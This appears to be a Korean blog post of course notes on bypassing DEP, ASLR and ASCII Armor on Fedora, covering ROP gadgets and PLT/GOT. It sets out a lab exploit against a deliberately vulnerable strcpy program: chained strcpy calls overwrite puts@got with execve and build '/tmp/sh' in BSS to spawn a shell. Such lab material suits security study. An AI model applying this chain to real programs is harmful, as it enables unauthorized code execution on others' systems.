본문으로 바로가기
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

8. 보호 기법 우회


3) DEP + ASLR + ASCII Armor 우회

---> 페도라로 진행


▣ Chaining RTL

- 연속적으로 함수를 호출하려면..

- Gadget(가젯)을 이용하자!

☞ 가젯은 RET로 끝나는 명령의순서임. 반드시 PR, PPR과 같은 모습이 아니라도 끝에 R만 존재하면 됨.

☞ POP을 통해 이전의 값들을 꺼내고 RET를 통해 새로운 명령(함수주소)를 부를 수 있음.

- 다양한 gadget을 이용하여 연속적으로 함수 호출이 이루어짐.

- gadget 구하기

$ objdump -d -M intel [실행파일] | grep ret -B 3

☞ RET 위로 3줄정도 더 grep하여 보여줌.


▣ PLT & GOT

- PLT : 프로시져 링키지 테이블 (Procedure Linkage Table)

함수 목록 테이블 (GOT만 참조함)

☞ 공유라이브러리에 의존하는 모든 공유라이브러리와 실행파일이 심볼을 결정하기 위해 사용하는 정보

☞ 주소 공간에서 다른 함수를 찾기위한 명령어 집합을 포함

☞ ELF 내부 구조에 .plt라는 섹션에 존재.

- GOT : 글로벌 오프셋 테이블 (Global Offset Table)

실제 함수의 주소

☞ 공유라이브러리 함수의 집합 테이블

☞ 공유라이브러리 내의 실제 함수 주소가 저장되는 곳.

- PLT & GOT 동작 분석

#include <stdio.h>

int main()
{
        printf("Hello PLT!\n");
        return 0;
}

(1) puts@plt 호출

☞ plt안에 있는 puts를 쓸건데 이건 puts의 주소는 아님.  ->  got 주소얌

(2) puts@got 호출

☞ ds : 포인터==저 주소를 역참조해서 그 값을 쓸거얌.

☞ 0x804a00c가 바로 got값인데 바로 밑에 주소를 의미하고 있음.

☞ 위의 세줄 밑으로의 코드를 보면 puts함수의 주소를 구하는 코드가 존재함. 그래서 밑의 코드들을 다 실행하고 나면 got값이 바뀜.

☞ 나중에 다시한번 puts@plt를 쓰면 이제 바로 밑의 줄로 점프하지 않고 바로 puts함수의 주소로 점프함.

---> 한 프로그램에서 여러번 같은 함수를 쓸 때 해당 시간을 줄여주기 위함.

☞ 함수 호출 전

☞ 함수 호출 후


▣ DEP + ASLR + ASCII Armor 우회 이론

- 최신 배포판들의 경우 DEP(쉘코드X) + ASLR(환경변수X) + ASCII Armor(RTL공격X) 적용

- ASLR의 경우는 쉽게 깨짐.

- 우리가 실행할 함수 : execve("/tmp/sh", NULL, NULL)

- 취약한 프로그램

#include <stdio.h>
int main(int argc, char *argv[])
{
        char buffer[100];
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

[공격 방법론]

1. PLT&GOT Overwrite (strcpy@plt사용)

   puts@got ---> execve 함수 주소


2. BSS 영역(초기화 안된 전역변수)에 인자값으로 사용할 "/tmp/sh" 문자열 복사

3. puts@plt 호출 및 execve 인자값 전달

4. puts@got BBBB BSS NULL*2로 공격.


▣ DEP + ASLR + ASCII Armor 우회 실습

---> 먼저 export로 언어 설정부터 바꿔줌.


1. 공격에 필요한 주소들 수집

strcpy@plt: 0x08048310

puts@plt: 0x08048320

puts@got: 0x0804a010

execve: 0x4abfd550

BSS: 0x0804a020 + 16 = 0x0804a030 (혹시 무슨 값들어있는지 모르니 시작주소에서 16바이트 뒤의 주소 사용)

PPR:  0x080484ee


▶ strcpy@plt, puts@plt, puts@got 구하기


▶ execve 함수 주소 구하기


▶ BSS 주소 구하기


▶ PPR 구하기


2. RET까지 거리 확인

- EAX(버퍼)에서 EBP까지 거리가 108이니 RET까지 거리를 구하려면 EBP 까지 더해서 112임.


3. puts@got에 execve 주소 복사

ex) execve=="\xAABBCCDD"

strcpy@plt + PPR + puts@got[0] + "\xDD 주소",

strcpy@plt + PPR + puts@got[1] + "\xCC 주소",

strcpy@plt + PPR + puts@got[2] + "\xBB 주소",

strcpy@plt + PPR + puts@got[3] + "\xAA 주소"

- execve 주소는 0x4abfd550임
- 얘를 1바이트씩 잘라서 고정된 메모리에서 찾아볼거임.(해당 바이트를 품고있는 주소)
- 메모리 주소를 찾아야하기 때문에 중단점 걸어놓고 실행을 한 후 찾아야함!!

- 4a bf d5 50

- 아래와 같은 방법으로 다 찾아봐야함.


4. BSS에 "/tmp/sh" 복사

strcpy@plt + PPR + BSS[0] + "/ 주소",

strcpy@plt + PPR + BSS[1] + "t 주소",

strcpy@plt + PPR + BSS[2] + "m 주소",

strcpy@plt + PPR + BSS[3] + "p 주소",

strcpy@plt + PPR + BSS[4] + "/ 주소",

strcpy@plt + PPR + BSS[5] + "s 주소",

strcpy@plt + PPR + BSS[6] + "h 주소",

strcpy@plt + PPR + BSS[7] + "\x00 주소",

- 3번과 동일하게 /, t, m, p 등의 문자 하나하나에 대해 고정된 메모리에서 해당 문자 주소를 찾아 복사해야함.


5. puts@plt 호출

puts@plt + DUMMY + BSS       + NULL + NULL

(execve  + DUMMY + "/tmp/sh" + NULL + NULL)






i2sec 대구지점 23기 수료생.

'해킹&보안 > 시스템해킹&보안' 카테고리의 다른 글

[D+12] HEAP BOF  (0) 2017.04.13
[D+10] 보호 기법 우회 (1)  (4) 2017.04.12
[D+9] 메모리 보호 기법  (0) 2017.04.12
[D+8] 쉘 코드 제작 (심화)  (0) 2017.04.12
[D+7] 쉘 코드 제작  (0) 2017.04.11